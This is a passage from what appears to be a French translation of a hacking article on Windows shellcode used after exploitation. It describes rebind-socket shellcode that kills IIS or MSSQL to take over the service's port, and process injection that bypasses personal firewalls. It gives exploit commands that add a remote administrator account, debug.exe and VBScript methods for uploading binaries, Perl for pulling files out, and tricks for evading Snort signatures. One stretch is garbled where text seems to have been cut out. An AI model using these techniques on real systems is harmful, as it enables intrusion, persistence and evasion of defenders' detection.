qui empêche la réutilisation du port. --[ 4.c Shellcode "Rebind socket" Il n'est pas rare de trouver des applications qui utilisent l'option SO_EXCLUSIVEADDRUSE pour nous empêcher de réutiliser son adresse. Ainsi notre recherche ne s'acheva pas ici. Nous sentions qu'il était possible d'encore améliorer le shellcode. Admettons que nous avons les même restrictions qu'auparavant, la seule manière de se connecter à la machine vulnérable est via le port du service vulnérable. Au lieu de partager le port gracieusement comme dans le shellcode "reuse addresse", on peut complètement prendre possession du port. Si nous pouvons terminer le service vulnérable, nous pouvons binder notre shell sur le même port que celui-ci était bindé. Si nous pouvons accomplir çà, la prochaine connection sur ce port nous délivreras un shell. Cependant, notre shellcode tourne généralement en tant qu'une partie du service vulnérable. Si l'on termine ce dernier, notre shellcode le sera également. Pour palier ceci, il nous faut forker notre shellcode dans un nouveau processus. Le nouveau processus bindera sur le port en question aussitôt qu'il sera libéré. Le service vulnérable sera terminé de force. Le forking sous Win32 n'est pas aussi simple que dans le monde Unix. Heureusement, LSD a effectué cette rude tache pour nous (http://lsd-pl.net/windows_components.html). Ils procèdent de la manière suivante: 1. On appelle CreateProcess() pour créer un nouveau processus. Nous devons fournir un chemin de fichier à cette API. Peut importe l'executable, pourvu qu'il existe. Cependant si nous choisissons IExplore.exe ou firefox.exe, on peut bypasser les firewall personnels. Il faut préciser que l'on créer le processus en mode suspendu. 2. On appelle GetThreadContext() pour retrouver le contexte du processus suspendu. Ceci permet de récupérer les différents registres CPU du processus suspendu. 3. On se sert de VirtualAllocEx() pour créer un buffer suffisant pour notre shellcode dans le processus suspendu. 4. On appelle WriteProcessMemory() pour copier notre shellcode depuis le service vulnérable vers le buffer alloué dans le processus suspendu. 5. On se sert de SetThreadContext() pour remplacer EIP avec l'adresse mémoire du buffer alloué. 6. ResumeThread() relance le thread suspendu. Lorsque le thread commence, il pointe directement sur le buffer alloué contenant notre shellcode. Le nouveau shellcode se trouvant dans le processus créé va boucler jusqu'à réussir à binder le port du service vulnérable, ce qui requiert la terminaison du processus parent. De retour dans notre shellcode, on effectue un TerminateProcess() pour fermer de force le service. TerminateProcess() prends deux paramètres, le handle du processus à tuer et la valeur de retour. Etant donné que nous tuons le processus courant, on peut passer -1 comme handle. Dès que le service est terminé, notre shellcode exécuté dans le processus fils sera en mesure de binder avec succès le port en question. Le shellcode boucle indéfiniment en attente d'une connection pour délivrer un shell, tout ce qu'il y a de plus classique. On peut améliorer le shellcode en vérifiant le port source ou l'IP avant d'autoriser un shell. Sinon n'importe qui se connectant à ce port, immédiatement après votre attaque obtiendra le shell. --[ 4.c.1 Implémentation d'un shellcode "Rebind socket" Un shellcode "Rebind socket" est implémenté dans rebind.asm dans la section Code. Il faut de nombreuses APIs dans ce shellcode. Charger ces APIs par nom rendrait notre shellcode beaucoup trop encombrant, ainsi dans ce type de shellcode on utilise une autre méthode pour localiser les adresses de fonctions. Au lieu de comparer l'API avec son nom, on compare leur hash. On génère une empreinte de chaque nom d'API utilisée et on le stocke dans notre shellcode. Nous n'avons donc besoin que de 4 octets pour chaque API (on peut même faire des hash de 2 octets). Durant l'exécution du shellcode, on calcule le hash du nom de l'API dans la table d'export et on le compare à notre valeur dans le shellcode. La fonction qui charge une API par son empreinte dans rebind.asm, a été rippée du framework metasploit de HD Moore (http://metasploit.com/sc/win32_univ_loader_src.c). Des exemples de shellcode "rebind socket" se trouvent dans les fichiers rebindwb.c et lengmui.c dans la section Code. Rebindwb.c est un exploit modifié du précédant exploit WebDAV. Il attaque IIS, le tue et prend possession du port. On se connecte sur le port 80 après çà et on obtient un shell. L'autre exploit, lengmui.c est le bug de résolution MSSQL, qui attaque le port UDP 1434, tue le serveur MSSQL, et binde un shell sur le port TCP 1433. --[ 4.d Autres shellcodes "one-way" Il existe d’autres mécanismes créatifs conçus par des experts en sécurité. Par exemple, le shellcode de Brett Moore de 91 octets publié dans la mailing list Pen-Test (http://seclists.org/lists/pen-test/2003/Jan/0000.html). Il est semblable au shellcode "Find socket", mis à part qu'il ne cherche pas la connection attaquante mais créé un nouveau processus cmd.exe pour chaque descripteur de socket. De la même façon, au lieu de vérifier le port de destination pour identifier notre connection, le forum de XFocus a proposé une solution qui consiste à envoyer des octets additionnels en guise de signature. Notre shellcode lira 4 octets de plus, sur chaque descripteur de socket, et si les octets correspondent avec notre signature, on bind un shell avec cette connection. Ceci doit être implémenté comme ceci: * Un exploit envoie des octets additionnels en tant que signature ("ey4s") après avoir envoyé la chaîne d'overflow * Le shellcode met chaque l'attribut non bloquant à chaque descripteur de socket * Le shellcode se sert de l'API recv() à la recherche de "ey4s" * Si il y a correspondance, on lance un shell * On boucle sinon On peut aussi d'envoyer la chaîne avec le flag "MSG_OOB". san_at_xfocus d0t org l'a d'ailleurs implémenté. Encore une autre possibilité consiste à créer un shellcode qui exécute une commande inscrite en dur dans celui-ci. Nul besoin de créer une connection réseau. Le shellcode exécute simplement la commande et meurt. On peut concaténer notre commande au shellcode et appeler CreateProcess(). Un exemple d'implémentation se trouve dans dcomx.c dans la section Code. Par exemple, on peut utiliser la commande suivante pour rajouter un compte administrateur sur la machine distante, vulnérable au bug RPC-DCOM découvert par MSD. # dcomx 10.1.1.1 "cmd /c net user /add compaquser compaqpass" # dcomx 10.1.1.1 "cmd /c net localgroup /add administrators compaquser" --[ 5 Transférer des fichiers via le shellcode Apres avoir pénétré la box, on souhaite en général uploader ou downloader des fichiers. En général c'est l'une des choses que l'on essaye de faire dans les proof of concept lors d'un pen-test. On upload aussi souvent des outils supplémentaires sur le serveur pour utiliser ce dernier comme point d'attaque vers d’autres serveurs internes. En l'absence de firewall, on peut facilement se servir des commandes ftp ou tftp se trouvant sur une installation standard de Windows: * ftp -s:script * tftp -i myserver GET file.exe Cependant, dans la situation où il n'y a pas d'autre moyen de transfert, on peut se servir du shell obtenu à partir de notre shellcode "One-way". On peut reconstruire un fichier binaire en utilisant la commande debug.exe disponible sur tout les OS Windows. --[ 5.a Uploader des fichiers avec debug.exe On peut créer des fichiers texte sur notre système cible en utilisant la commande echo. Mais on ne peut pas utiliser echo pour créer de fichier binaire, pas sans l'aide de debug.exe. On peut reconstruire un binaire en utilisant debug.exe. voici les commandes: C:\>echo nbell.com>b.s C:\>echo a>>b.s C:\>echo dw07B8 CD0E C310>>b.s C:\>echo.>>b.s C:\>echo R CX>>b.s C:\>echo 6 >>b.s C:\>echo W>>b.s C:\>echo Q>>b.s C:\>debug 100) { print SOCKET $to; receive(); print "."; $to=""; $nnn=0; } $txt = ""; } Ensuite, on créer notre décodeur VBS sur la machine cible -"tobin.vbs". On peut réaliser ceci facilement avec "echo". Ce décodeur va lire le fichier outhex.txt créé et construire le fichier binaire. Set arr = WScript.Arguments Set wsf = CreateObject("Scripting.FileSystemObject") Set infile = wsf.opentextfile(arr(arr.Count-2), 1, TRUE) Set file = wsf.opentextfile(arr(arr.Count-1), 2, TRUE) do while infile.AtEndOfStream = false line = infile.ReadLine For x = 1 To Len(line)-2 Step 2 thebyte = Chr(38) & "H" & Mid(line, x, 2) file.write Chr(thebyte) Next loop file.close infile.close Une fois que nous avons le décodeur sur la machine cible, il nous suffit de l'exécuter pour convertir le code hexa en fichier binaire: # cscript tobin.vbs outhex.txt out.exe --[ 5.c Récupérer le fichier depuis la ligne de commande Une fois capable d'uploader un fichier sur la machine, on peut uploader un chiffreur Base64. On utilisera ce dernier pour chiffrer un fichier en Base64. On peut afficher la sortie Base64 sur la ligne de commande et capturer le texte. Une fois le fichier entier Base64 récupéré, on le sauve dans un fichier sur notre machine. A l'aide de WinZip ou autre déchiffreur Base64, on peut convertir ce fichier vers sa forme binaire originale. La commande suivante nous permet de récupérer n'importe quel fichier sur notre machine cible: print SOCKET "base64 -e $file outhex2.txt\n"; receive(); print SOCKET "type outhex2.txt\n"; open(RECV, ">$file.b64"); print RECV receive(); Heureusement, tout ceci peut être automatisé. On peut se référer au fichier hellobug.pl dans la section Code pour voir un transfert de fichier en action. --[ 6 Eviter la détection des IDS Snort comprends maintenant différentes règles d'attaque réponse avec des signatures en mesure de détecter les sorties courantes d'un shell Windows. Chaque fois que l'on lance cmd.exe, il affiche la bannière: Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\sk Il y a une règle Snort qui capture cette bannière: http://www.snort.org/snort-db/sid.html?sid=2123 On peut facilement éviter ceci avec le paramètre "/k" de cmd.exe, que l'ont ajoute dans notre shellcode. Il nous suffit d'ajouter trois octets supplémentaires dans notre shellcode de "cmd" en "cmd /k". Il faut aussi ajouter trois à la valeur du compteur dans le déchiffreur. Il y a une autre règle Snort qui détecte le listing d'un répertoire avec la commande "dir": http://www.snort.org/snort-db/sid.html?sid=1292 Cette règle surveille la chaîne "Volume Serial Number" dans les data des paquets, si c'est le cas il déclenche une alerte. # dir Volume in drive C is Cool Volume Serial Number is SKSK-6622 Directory of C:\Documents and Settings\sk 06/18/2004 06:22 PM . 06/18/2004 06:22 PM .. 12/01/2003 01:08 AM 58 ReadMe.txt Pour éviter ceci, on ajoute le paramètre "/b" à la commande "dir". C'est plus commode si l'on place cette option dans l'environnement pour que l'option soit automatiquement utilisée: # set DIRCMD=/b # dir ReadMe.txt Snort comprends aussi une signature qui détecte "Command completed" dans: http://www.snort.org/snort-db/sid.html?sid=494 Cette chaîne est en général généré par les commandes "net". Il est facile de créer un wrapper pour les commandes net qui n'affichera pas "Command completed" ou d'utiliser d'autres outils comme "nbtdump", etc. --[ 7 Relancer le service vulnérable Bien souvent, après un buffer overflow, le service vulnérable sera instable. Même si nous réussissons à garder le service en vie, il y a des chances qu'on ne puisse plus l'attaquer de nouveau. Bien qu'on puisse essayer d'arranger ce problème dans le shellcode, le moyen le plus simple est de relancer le service via notre shell. On peut se servir de la commande "at" pour planifier une commande qui relancera le service après la sortie du shell. Par exemple, si notre service est le serveur web IIS, on peut le relancer avec le planificateur de taches: #at